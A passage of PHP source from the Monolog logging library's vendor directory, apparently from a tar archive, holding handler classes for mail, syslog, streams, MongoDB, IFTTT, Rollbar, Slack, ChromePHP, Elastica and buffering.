$this->headers[] = $header; } return $this; } /** * Add parameters to the message * * @param string|array $parameters Custom added parameters */ public function addParameter($parameters): self { $this->parameters = array_merge($this->parameters, (array) $parameters); return $this; } /** * {@inheritdoc} */ protected function send(string $content, array $records): void { $contentType = $this->getContentType() ?: ($this->isHtmlBody($content) ? 'text/html' : 'text/plain'); if ($contentType !== 'text/html') { $content = wordwrap($content, $this->maxColumnWidth); } $headers = ltrim(implode("\r\n", $this->headers) . "\r\n", "\r\n"); $headers .= 'Content-type: ' . $contentType . '; charset=' . $this->getEncoding() . "\r\n"; if ($contentType === 'text/html' && false === strpos($headers, 'MIME-Version:')) { $headers .= 'MIME-Version: 1.0' . "\r\n"; } $subject = $this->subject; if ($records) { $subjectFormatter = new LineFormatter($this->subject); $subject = $subjectFormatter->format($this->getHighestRecord($records)); } $parameters = implode(' ', $this->parameters); foreach ($this->to as $to) { mail($to, $subject, $content, $headers, $parameters); } } public function getContentType(): ?string { return $this->contentType; } public function getEncoding(): string { return $this->encoding; } /** * @param string $contentType The content type of the email - Defaults to text/plain. Use text/html for HTML messages. */ public function setContentType(string $contentType): self { if (strpos($contentType, "\n") !== false || strpos($contentType, "\r") !== false) { throw new \InvalidArgumentException('The content type can not contain newline characters to prevent email header injection'); } $this->contentType = $contentType; return $this; } public function setEncoding(string $encoding): self { if (strpos($encoding, "\n") !== false || strpos($encoding, "\r") !== false) { throw new \InvalidArgumentException('The encoding can not contain newline characters to prevent email header injection'); } $this->encoding = $encoding; return $this; } } vendor/monolog/monolog/src/Monolog/Handler/AbstractSyslogHandler.php000064400000007000147600277620021726 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\LineFormatter; /** * Common syslog functionality */ abstract class AbstractSyslogHandler extends AbstractProcessingHandler { protected $facility; /** * Translates Monolog log levels to syslog log priorities. */ protected $logLevels = [ Logger::DEBUG => LOG_DEBUG, Logger::INFO => LOG_INFO, Logger::NOTICE => LOG_NOTICE, Logger::WARNING => LOG_WARNING, Logger::ERROR => LOG_ERR, Logger::CRITICAL => LOG_CRIT, Logger::ALERT => LOG_ALERT, Logger::EMERGENCY => LOG_EMERG, ]; /** * List of valid log facility names. */ protected $facilities = [ 'auth' => LOG_AUTH, 'authpriv' => LOG_AUTHPRIV, 'cron' => LOG_CRON, 'daemon' => LOG_DAEMON, 'kern' => LOG_KERN, 'lpr' => LOG_LPR, 'mail' => LOG_MAIL, 'news' => LOG_NEWS, 'syslog' => LOG_SYSLOG, 'user' => LOG_USER, 'uucp' => LOG_UUCP, ]; /** * @param string|int $facility Either one of the names of the keys in $this->facilities, or a LOG_* facility constant * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($facility = LOG_USER, $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); if (!defined('PHP_WINDOWS_VERSION_BUILD')) { $this->facilities['local0'] = LOG_LOCAL0; $this->facilities['local1'] = LOG_LOCAL1; $this->facilities['local2'] = LOG_LOCAL2; $this->facilities['local3'] = LOG_LOCAL3; $this->facilities['local4'] = LOG_LOCAL4; $this->facilities['local5'] = LOG_LOCAL5; $this->facilities['local6'] = LOG_LOCAL6; $this->facilities['local7'] = LOG_LOCAL7; } else { $this->facilities['local0'] = 128; // LOG_LOCAL0 $this->facilities['local1'] = 136; // LOG_LOCAL1 $this->facilities['local2'] = 144; // LOG_LOCAL2 $this->facilities['local3'] = 152; // LOG_LOCAL3 $this->facilities['local4'] = 160; // LOG_LOCAL4 $this->facilities['local5'] = 168; // LOG_LOCAL5 $this->facilities['local6'] = 176; // LOG_LOCAL6 $this->facilities['local7'] = 184; // LOG_LOCAL7 } // convert textual description of facility to syslog constant if (is_string($facility) && array_key_exists(strtolower($facility), $this->facilities)) { $facility = $this->facilities[strtolower($facility)]; } elseif (!in_array($facility, array_values($this->facilities), true)) { throw new \UnexpectedValueException('Unknown facility value "'.$facility.'" given'); } $this->facility = $facility; } /** * {@inheritdoc} */ protected function getDefaultFormatter(): FormatterInterface { return new LineFormatter('%channel%.%level_name%: %message% %context% %extra%'); } } vendor/monolog/monolog/src/Monolog/Handler/StreamHandler.php000064400000012473147600277620020227 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; /** * Stores to any stream resource * * Can be used to store into php://stderr, remote and local files, etc. * * @author Jordi Boggiano */ class StreamHandler extends AbstractProcessingHandler { /** @var resource|null */ protected $stream; protected $url; /** @var string|null */ private $errorMessage; protected $filePermission; protected $useLocking; private $dirCreated; /** * @param resource|string $stream If a missing path can't be created, an UnexpectedValueException will be thrown on first write * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param int|null $filePermission Optional file permissions (default (0644) are only for owner read/write) * @param bool $useLocking Try to lock log file before doing any writes * * @throws \InvalidArgumentException If stream is not a resource or string */ public function __construct($stream, $level = Logger::DEBUG, bool $bubble = true, ?int $filePermission = null, bool $useLocking = false) { parent::__construct($level, $bubble); if (is_resource($stream)) { $this->stream = $stream; } elseif (is_string($stream)) { $this->url = Utils::canonicalizePath($stream); } else { throw new \InvalidArgumentException('A stream must either be a resource or a string.'); } $this->filePermission = $filePermission; $this->useLocking = $useLocking; } /** * {@inheritdoc} */ public function close(): void { if ($this->url && is_resource($this->stream)) { fclose($this->stream); } $this->stream = null; $this->dirCreated = null; } /** * Return the currently active stream if it is open * * @return resource|null */ public function getStream() { return $this->stream; } /** * Return the stream URL if it was configured with a URL and not an active resource * * @return string|null */ public function getUrl(): ?string { return $this->url; } /** * {@inheritdoc} */ protected function write(array $record): void { if (!is_resource($this->stream)) { if (null === $this->url || '' === $this->url) { throw new \LogicException('Missing stream url, the stream can not be opened. This may be caused by a premature call to close().'); } $this->createDir(); $this->errorMessage = null; set_error_handler([$this, 'customErrorHandler']); $this->stream = fopen($this->url, 'a'); if ($this->filePermission !== null) { @chmod($this->url, $this->filePermission); } restore_error_handler(); if (!is_resource($this->stream)) { $this->stream = null; throw new \UnexpectedValueException(sprintf('The stream or file "%s" could not be opened in append mode: '.$this->errorMessage, $this->url)); } } if ($this->useLocking) { // ignoring errors here, there's not much we can do about them flock($this->stream, LOCK_EX); } $this->streamWrite($this->stream, $record); if ($this->useLocking) { flock($this->stream, LOCK_UN); } } /** * Write to stream * @param resource $stream * @param array $record */ protected function streamWrite($stream, array $record): void { fwrite($stream, (string) $record['formatted']); } private function customErrorHandler($code, $msg): bool { $this->errorMessage = preg_replace('{^(fopen|mkdir)\(.*?\): }', '', $msg); return true; } private function getDirFromStream(string $stream): ?string { $pos = strpos($stream, '://'); if ($pos === false) { return dirname($stream); } if ('file://' === substr($stream, 0, 7)) { return dirname(substr($stream, 7)); } return null; } private function createDir(): void { // Do not try to create dir if it has already been tried. if ($this->dirCreated) { return; } $dir = $this->getDirFromStream($this->url); if (null !== $dir && !is_dir($dir)) { $this->errorMessage = null; set_error_handler([$this, 'customErrorHandler']); $status = mkdir($dir, 0777, true); restore_error_handler(); if (false === $status && !is_dir($dir)) { throw new \UnexpectedValueException(sprintf('There is no existing directory at "%s" and it could not be created: '.$this->errorMessage, $dir)); } } $this->dirCreated = true; } } vendor/monolog/monolog/src/Monolog/Handler/MongoDBHandler.php000064400000005160147600277620020254 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use MongoDB\Driver\BulkWrite; use MongoDB\Driver\Manager; use MongoDB\Client; use Monolog\Logger; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\MongoDBFormatter; /** * Logs to a MongoDB database. * * Usage example: * * $log = new \Monolog\Logger('application'); * $client = new \MongoDB\Client('mongodb://localhost:27017'); * $mongodb = new \Monolog\Handler\MongoDBHandler($client, 'logs', 'prod'); * $log->pushHandler($mongodb); * * The above examples uses the MongoDB PHP library's client class; however, the * MongoDB\Driver\Manager class from ext-mongodb is also supported. */ class MongoDBHandler extends AbstractProcessingHandler { private $collection; private $manager; private $namespace; /** * Constructor. * * @param Client|Manager $mongodb MongoDB library or driver client * @param string $database Database name * @param string $collection Collection name * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($mongodb, string $database, string $collection, $level = Logger::DEBUG, bool $bubble = true) { if (!($mongodb instanceof Client || $mongodb instanceof Manager)) { throw new \InvalidArgumentException('MongoDB\Client or MongoDB\Driver\Manager instance required'); } if ($mongodb instanceof Client) { $this->collection = $mongodb->selectCollection($database, $collection); } else { $this->manager = $mongodb; $this->namespace = $database . '.' . $collection; } parent::__construct($level, $bubble); } protected function write(array $record): void { if (isset($this->collection)) { $this->collection->insertOne($record['formatted']); } if (isset($this->manager, $this->namespace)) { $bulk = new BulkWrite; $bulk->insert($record["formatted"]); $this->manager->executeBulkWrite($this->namespace, $bulk); } } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new MongoDBFormatter; } } vendor/monolog/monolog/src/Monolog/Handler/IFTTTHandler.php000064400000004223147600277620017660 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; /** * IFTTTHandler uses cURL to trigger IFTTT Maker actions * * Register a secret key and trigger/event name at https://ifttt.com/maker * * value1 will be the channel from monolog's Logger constructor, * value2 will be the level name (ERROR, WARNING, ..) * value3 will be the log record's message * * @author Nehal Patel */ class IFTTTHandler extends AbstractProcessingHandler { private $eventName; private $secretKey; /** * @param string $eventName The name of the IFTTT Maker event that should be triggered * @param string $secretKey A valid IFTTT secret key * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(string $eventName, string $secretKey, $level = Logger::ERROR, bool $bubble = true) { $this->eventName = $eventName; $this->secretKey = $secretKey; parent::__construct($level, $bubble); } /** * {@inheritdoc} */ public function write(array $record): void { $postData = [ "value1" => $record["channel"], "value2" => $record["level_name"], "value3" => $record["message"], ]; $postString = Utils::jsonEncode($postData); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://maker.ifttt.com/trigger/" . $this->eventName . "/with/key/" . $this->secretKey); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $postString); curl_setopt($ch, CURLOPT_HTTPHEADER, [ "Content-Type: application/json", ]); Curl\Util::execute($ch); } } vendor/monolog/monolog/src/Monolog/Handler/RollbarHandler.php000064400000006736147600277620020376 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Rollbar\RollbarLogger; use Throwable; use Monolog\Logger; /** * Sends errors to Rollbar * * If the context data contains a `payload` key, that is used as an array * of payload options to RollbarLogger's log method. * * Rollbar's context info will contain the context + extra keys from the log record * merged, and then on top of that a few keys: * * - level (rollbar level name) * - monolog_level (monolog level name, raw level, as rollbar only has 5 but monolog 8) * - channel * - datetime (unix timestamp) * * @author Paul Statezny */ class RollbarHandler extends AbstractProcessingHandler { /** * @var RollbarLogger */ protected $rollbarLogger; protected $levelMap = [ Logger::DEBUG => 'debug', Logger::INFO => 'info', Logger::NOTICE => 'info', Logger::WARNING => 'warning', Logger::ERROR => 'error', Logger::CRITICAL => 'critical', Logger::ALERT => 'critical', Logger::EMERGENCY => 'critical', ]; /** * Records whether any log records have been added since the last flush of the rollbar notifier * * @var bool */ private $hasRecords = false; protected $initialized = false; /** * @param RollbarLogger $rollbarLogger RollbarLogger object constructed with valid token * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(RollbarLogger $rollbarLogger, $level = Logger::ERROR, bool $bubble = true) { $this->rollbarLogger = $rollbarLogger; parent::__construct($level, $bubble); } /** * {@inheritdoc} */ protected function write(array $record): void { if (!$this->initialized) { // __destructor() doesn't get called on Fatal errors register_shutdown_function(array($this, 'close')); $this->initialized = true; } $context = $record['context']; $context = array_merge($context, $record['extra'], [ 'level' => $this->levelMap[$record['level']], 'monolog_level' => $record['level_name'], 'channel' => $record['channel'], 'datetime' => $record['datetime']->format('U'), ]); if (isset($context['exception']) && $context['exception'] instanceof Throwable) { $exception = $context['exception']; unset($context['exception']); $toLog = $exception; } else { $toLog = $record['message']; } $this->rollbarLogger->log($context['level'], $toLog, $context); $this->hasRecords = true; } public function flush(): void { if ($this->hasRecords) { $this->rollbarLogger->flush(); $this->hasRecords = false; } } /** * {@inheritdoc} */ public function close(): void { $this->flush(); } /** * {@inheritdoc} */ public function reset() { $this->flush(); parent::reset(); } } vendor/monolog/monolog/src/Monolog/Handler/Handler.php000064400000002005147600277620017041 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * Base Handler class providing basic close() support as well as handleBatch * * @author Jordi Boggiano */ abstract class Handler implements HandlerInterface { /** * {@inheritdoc} */ public function handleBatch(array $records): void { foreach ($records as $record) { $this->handle($record); } } /** * {@inheritdoc} */ public function close(): void { } public function __destruct() { try { $this->close(); } catch (\Throwable $e) { // do nothing } } public function __sleep() { $this->close(); return array_keys(get_object_vars($this)); } } vendor/monolog/monolog/src/Monolog/Handler/NullHandler.php000064400000002166147600277620017704 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; /** * Blackhole * * Any record it can handle will be thrown away. This can be used * to put on top of an existing stack to override it temporarily. * * @author Jordi Boggiano */ class NullHandler extends Handler { /** * @var int */ private $level; /** * @param string|int $level The minimum logging level at which this handler will be triggered */ public function __construct($level = Logger::DEBUG) { $this->level = Logger::toMonologLevel($level); } /** * {@inheritdoc} */ public function isHandling(array $record): bool { return $record['level'] >= $this->level; } /** * {@inheritdoc} */ public function handle(array $record): bool { return $record['level'] >= $this->level; } } vendor/monolog/monolog/src/Monolog/Handler/ChromePHPHandler.php000064400000012204147600277620020551 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\ChromePHPFormatter; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; use Monolog\Utils; /** * Handler sending logs to the ChromePHP extension (http://www.chromephp.com/) * * This also works out of the box with Firefox 43+ * * @author Christophe Coevoet */ class ChromePHPHandler extends AbstractProcessingHandler { use WebRequestRecognizerTrait; /** * Version of the extension */ protected const VERSION = '4.0'; /** * Header name */ protected const HEADER_NAME = 'X-ChromeLogger-Data'; /** * Regular expression to detect supported browsers (matches any Chrome, or Firefox 43+) */ protected const USER_AGENT_REGEX = '{\b(?:Chrome/\d+(?:\.\d+)*|HeadlessChrome|Firefox/(?:4[3-9]|[5-9]\d|\d{3,})(?:\.\d)*)\b}'; protected static $initialized = false; /** * Tracks whether we sent too much data * * Chrome limits the headers to 4KB, so when we sent 3KB we stop sending * * @var bool */ protected static $overflowed = false; protected static $json = [ 'version' => self::VERSION, 'columns' => ['label', 'log', 'backtrace', 'type'], 'rows' => [], ]; protected static $sendHeaders = true; /** * @param string|int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); if (!function_exists('json_encode')) { throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s ChromePHPHandler'); } } /** * {@inheritdoc} */ public function handleBatch(array $records): void { if (!$this->isWebRequest()) { return; } $messages = []; foreach ($records as $record) { if ($record['level'] < $this->level) { continue; } $messages[] = $this->processRecord($record); } if (!empty($messages)) { $messages = $this->getFormatter()->formatBatch($messages); self::$json['rows'] = array_merge(self::$json['rows'], $messages); $this->send(); } } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new ChromePHPFormatter(); } /** * Creates & sends header for a record * * @see sendHeader() * @see send() */ protected function write(array $record): void { if (!$this->isWebRequest()) { return; } self::$json['rows'][] = $record['formatted']; $this->send(); } /** * Sends the log header * * @see sendHeader() */ protected function send(): void { if (self::$overflowed || !self::$sendHeaders) { return; } if (!self::$initialized) { self::$initialized = true; self::$sendHeaders = $this->headersAccepted(); if (!self::$sendHeaders) { return; } self::$json['request_uri'] = $_SERVER['REQUEST_URI'] ?? ''; } $json = Utils::jsonEncode(self::$json, Utils::DEFAULT_JSON_FLAGS & ~JSON_UNESCAPED_UNICODE, true); $data = base64_encode(utf8_encode($json)); if (strlen($data) > 3 * 1024) { self::$overflowed = true; $record = [ 'message' => 'Incomplete logs, chrome header size limit reached', 'context' => [], 'level' => Logger::WARNING, 'level_name' => Logger::getLevelName(Logger::WARNING), 'channel' => 'monolog', 'datetime' => new \DateTimeImmutable(), 'extra' => [], ]; self::$json['rows'][count(self::$json['rows']) - 1] = $this->getFormatter()->format($record); $json = Utils::jsonEncode(self::$json, null, true); $data = base64_encode(utf8_encode($json)); } if (trim($data) !== '') { $this->sendHeader(static::HEADER_NAME, $data); } } /** * Send header string to the client */ protected function sendHeader(string $header, string $content): void { if (!headers_sent() && self::$sendHeaders) { header(sprintf('%s: %s', $header, $content)); } } /** * Verifies if the headers are accepted by the current user agent */ protected function headersAccepted(): bool { if (empty($_SERVER['HTTP_USER_AGENT'])) { return false; } return preg_match(static::USER_AGENT_REGEX, $_SERVER['HTTP_USER_AGENT']) === 1; } } vendor/monolog/monolog/src/Monolog/Handler/SlackHandler.php000064400000015010147600277620020017 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; use Monolog\Utils; use Monolog\Handler\Slack\SlackRecord; /** * Sends notifications through Slack API * * @author Greg Kedzierski * @see https://api.slack.com/ */ class SlackHandler extends SocketHandler { /** * Slack API token * @var string */ private $token; /** * Instance of the SlackRecord util class preparing data for Slack API. * @var SlackRecord */ private $slackRecord; /** * @param string $token Slack API token * @param string $channel Slack channel (encoded ID or name) * @param string|null $username Name of a bot * @param bool $useAttachment Whether the message should be added to Slack as attachment (plain text otherwise) * @param string|null $iconEmoji The emoji name to use (or null) * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $useShortAttachment Whether the context/extra messages added to Slack as attachments are in a short style * @param bool $includeContextAndExtra Whether the attachment should include context and extra data * @param array $excludeFields Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] * @throws MissingExtensionException If no OpenSSL PHP extension configured */ public function __construct( string $token, string $channel, ?string $username = null, bool $useAttachment = true, ?string $iconEmoji = null, $level = Logger::CRITICAL, bool $bubble = true, bool $useShortAttachment = false, bool $includeContextAndExtra = false, array $excludeFields = array() ) { if (!extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP extension is required to use the SlackHandler'); } parent::__construct('ssl://slack.com:443', $level, $bubble); $this->slackRecord = new SlackRecord( $channel, $username, $useAttachment, $iconEmoji, $useShortAttachment, $includeContextAndExtra, $excludeFields ); $this->token = $token; } public function getSlackRecord(): SlackRecord { return $this->slackRecord; } public function getToken(): string { return $this->token; } /** * {@inheritdoc} */ protected function generateDataStream(array $record): string { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } /** * Builds the body of API call */ private function buildContent(array $record): string { $dataArray = $this->prepareContentData($record); return http_build_query($dataArray); } protected function prepareContentData(array $record): array { $dataArray = $this->slackRecord->getSlackData($record); $dataArray['token'] = $this->token; if (!empty($dataArray['attachments'])) { $dataArray['attachments'] = Utils::jsonEncode($dataArray['attachments']); } return $dataArray; } /** * Builds the header of the API Call */ private function buildHeader(string $content): string { $header = "POST /api/chat.postMessage HTTP/1.1\r\n"; $header .= "Host: slack.com\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } /** * {@inheritdoc} */ protected function write(array $record): void { parent::write($record); $this->finalizeWrite(); } /** * Finalizes the request by reading some bytes and then closing the socket * * If we do not read some but close the socket too early, slack sometimes * drops the request entirely. */ protected function finalizeWrite(): void { $res = $this->getResource(); if (is_resource($res)) { @fread($res, 2048); } $this->closeSocket(); } public function setFormatter(FormatterInterface $formatter): HandlerInterface { parent::setFormatter($formatter); $this->slackRecord->setFormatter($formatter); return $this; } public function getFormatter(): FormatterInterface { $formatter = parent::getFormatter(); $this->slackRecord->setFormatter($formatter); return $formatter; } /** * Channel used by the bot when posting */ public function setChannel(string $channel): self { $this->slackRecord->setChannel($channel); return $this; } /** * Username used by the bot when posting */ public function setUsername(string $username): self { $this->slackRecord->setUsername($username); return $this; } public function useAttachment(bool $useAttachment): self { $this->slackRecord->useAttachment($useAttachment); return $this; } public function setIconEmoji(string $iconEmoji): self { $this->slackRecord->setUserIcon($iconEmoji); return $this; } public function useShortAttachment(bool $useShortAttachment): self { $this->slackRecord->useShortAttachment($useShortAttachment); return $this; } public function includeContextAndExtra(bool $includeContextAndExtra): self { $this->slackRecord->includeContextAndExtra($includeContextAndExtra); return $this; } public function excludeFields(array $excludeFields): self { $this->slackRecord->excludeFields($excludeFields); return $this; } } vendor/monolog/monolog/src/Monolog/Handler/FingersCrossedHandler.php000064400000017044147600277620021713 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Handler\FingersCrossed\ErrorLevelActivationStrategy; use Monolog\Handler\FingersCrossed\ActivationStrategyInterface; use Monolog\Logger; use Monolog\ResettableInterface; use Monolog\Formatter\FormatterInterface; /** * Buffers all records until a certain level is reached * * The advantage of this approach is that you don't get any clutter in your log files. * Only requests which actually trigger an error (or whatever your actionLevel is) will be * in the logs, but they will contain all records, not only those above the level threshold. * * You can then have a passthruLevel as well which means that at the end of the request, * even if it did not get activated, it will still send through log records of e.g. at least a * warning level. * * You can find the various activation strategies in the * Monolog\Handler\FingersCrossed\ namespace. * * @author Jordi Boggiano */ class FingersCrossedHandler extends Handler implements ProcessableHandlerInterface, ResettableInterface, FormattableHandlerInterface { use ProcessableHandlerTrait; /** @var HandlerInterface */ protected $handler; protected $activationStrategy; protected $buffering = true; protected $bufferSize; protected $buffer = []; protected $stopBuffering; protected $passthruLevel; protected $bubble; /** * @psalm-param HandlerInterface|callable(?array, FingersCrossedHandler): HandlerInterface $handler * * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $fingersCrossedHandler). * @param int|string|ActivationStrategyInterface $activationStrategy Strategy which determines when this handler takes action, or a level name/value at which the handler is activated * @param int $bufferSize How many entries should be buffered at most, beyond that the oldest items are removed from the buffer. * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $stopBuffering Whether the handler should stop buffering after being triggered (default true) * @param int|string $passthruLevel Minimum level to always flush to handler on close, even if strategy not triggered */ public function __construct($handler, $activationStrategy = null, int $bufferSize = 0, bool $bubble = true, bool $stopBuffering = true, $passthruLevel = null) { if (null === $activationStrategy) { $activationStrategy = new ErrorLevelActivationStrategy(Logger::WARNING); } // convert simple int activationStrategy to an object if (!$activationStrategy instanceof ActivationStrategyInterface) { $activationStrategy = new ErrorLevelActivationStrategy($activationStrategy); } $this->handler = $handler; $this->activationStrategy = $activationStrategy; $this->bufferSize = $bufferSize; $this->bubble = $bubble; $this->stopBuffering = $stopBuffering; if ($passthruLevel !== null) { $this->passthruLevel = Logger::toMonologLevel($passthruLevel); } if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) { throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object"); } } /** * {@inheritdoc} */ public function isHandling(array $record): bool { return true; } /** * Manually activate this logger regardless of the activation strategy */ public function activate(): void { if ($this->stopBuffering) { $this->buffering = false; } $this->getHandler(end($this->buffer) ?: null)->handleBatch($this->buffer); $this->buffer = []; } /** * {@inheritdoc} */ public function handle(array $record): bool { if ($this->processors) { $record = $this->processRecord($record); } if ($this->buffering) { $this->buffer[] = $record; if ($this->bufferSize > 0 && count($this->buffer) > $this->bufferSize) { array_shift($this->buffer); } if ($this->activationStrategy->isHandlerActivated($record)) { $this->activate(); } } else { $this->getHandler($record)->handle($record); } return false === $this->bubble; } /** * {@inheritdoc} */ public function close(): void { $this->flushBuffer(); $this->handler->close(); } public function reset() { $this->flushBuffer(); $this->resetProcessors(); if ($this->getHandler() instanceof ResettableInterface) { $this->getHandler()->reset(); } } /** * Clears the buffer without flushing any messages down to the wrapped handler. * * It also resets the handler to its initial buffering state. */ public function clear(): void { $this->buffer = []; $this->reset(); } /** * Resets the state of the handler. Stops forwarding records to the wrapped handler. */ private function flushBuffer(): void { if (null !== $this->passthruLevel) { $level = $this->passthruLevel; $this->buffer = array_filter($this->buffer, function ($record) use ($level) { return $record['level'] >= $level; }); if (count($this->buffer) > 0) { $this->getHandler(end($this->buffer) ?: null)->handleBatch($this->buffer); } } $this->buffer = []; $this->buffering = true; } /** * Return the nested handler * * If the handler was provided as a factory callable, this will trigger the handler's instantiation. * * @return HandlerInterface */ public function getHandler(array $record = null) { if (!$this->handler instanceof HandlerInterface) { $this->handler = ($this->handler)($record, $this); if (!$this->handler instanceof HandlerInterface) { throw new \RuntimeException("The factory callable should return a HandlerInterface"); } } return $this->handler; } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { $handler->setFormatter($formatter); return $this; } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } /** * {@inheritdoc} */ public function getFormatter(): FormatterInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { return $handler->getFormatter(); } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } } vendor/monolog/monolog/src/Monolog/Handler/ElasticaHandler.php000064400000006537147600277620020525 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\ElasticaFormatter; use Monolog\Logger; use Elastica\Client; use Elastica\Exception\ExceptionInterface; /** * Elastic Search handler * * Usage example: * * $client = new \Elastica\Client(); * $options = array( * 'index' => 'elastic_index_name', * 'type' => 'elastic_doc_type', Types have been removed in Elastica 7 * ); * $handler = new ElasticaHandler($client, $options); * $log = new Logger('application'); * $log->pushHandler($handler); * * @author Jelle Vink */ class ElasticaHandler extends AbstractProcessingHandler { /** * @var Client */ protected $client; /** * @var array Handler config options */ protected $options = []; /** * @param Client $client Elastica Client object * @param array $options Handler configuration * @param int|string $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(Client $client, array $options = [], $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->client = $client; $this->options = array_merge( [ 'index' => 'monolog', // Elastic index name 'type' => 'record', // Elastic document type 'ignore_error' => false, // Suppress Elastica exceptions ], $options ); } /** * {@inheritDoc} */ protected function write(array $record): void { $this->bulkSend([$record['formatted']]); } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if ($formatter instanceof ElasticaFormatter) { return parent::setFormatter($formatter); } throw new \InvalidArgumentException('ElasticaHandler is only compatible with ElasticaFormatter'); } public function getOptions(): array { return $this->options; } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new ElasticaFormatter($this->options['index'], $this->options['type']); } /** * {@inheritdoc} */ public function handleBatch(array $records): void { $documents = $this->getFormatter()->formatBatch($records); $this->bulkSend($documents); } /** * Use Elasticsearch bulk API to send list of documents * @throws \RuntimeException */ protected function bulkSend(array $documents): void { try { $this->client->addDocuments($documents); } catch (ExceptionInterface $e) { if (!$this->options['ignore_error']) { throw new \RuntimeException("Error sending messages to Elasticsearch", 0, $e); } } } } vendor/monolog/monolog/src/Monolog/Handler/FormattableHandlerInterface.php000064400000001515147600277620023050 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; /** * Interface to describe loggers that have a formatter * * @author Jordi Boggiano */ interface FormattableHandlerInterface { /** * Sets the formatter. * * @param FormatterInterface $formatter * @return HandlerInterface self */ public function setFormatter(FormatterInterface $formatter): HandlerInterface; /** * Gets the formatter. * * @return FormatterInterface */ public function getFormatter(): FormatterInterface; } vendor/monolog/monolog/src/Monolog/Handler/MissingExtensionException.php000064400000000731147600277620022655 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * Exception can be thrown if an extension for a handler is missing * * @author Christian Bergau */ class MissingExtensionException extends \Exception { } vendor/monolog/monolog/src/Monolog/Handler/ZendMonitorHandler.php000064400000006161147600277620021241 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\NormalizerFormatter; use Monolog\Logger; /** * Handler sending logs to Zend Monitor * * @author Christian Bergau * @author Jason Davis */ class ZendMonitorHandler extends AbstractProcessingHandler { /** * Monolog level / ZendMonitor Custom Event priority map * * @var array */ protected $levelMap = []; /** * @param string|int $level The minimum logging level at which this handler will be triggered. * @param bool $bubble Whether the messages that are handled can bubble up the stack or not. * @throws MissingExtensionException */ public function __construct($level = Logger::DEBUG, bool $bubble = true) { if (!function_exists('zend_monitor_custom_event')) { throw new MissingExtensionException( 'You must have Zend Server installed with Zend Monitor enabled in order to use this handler' 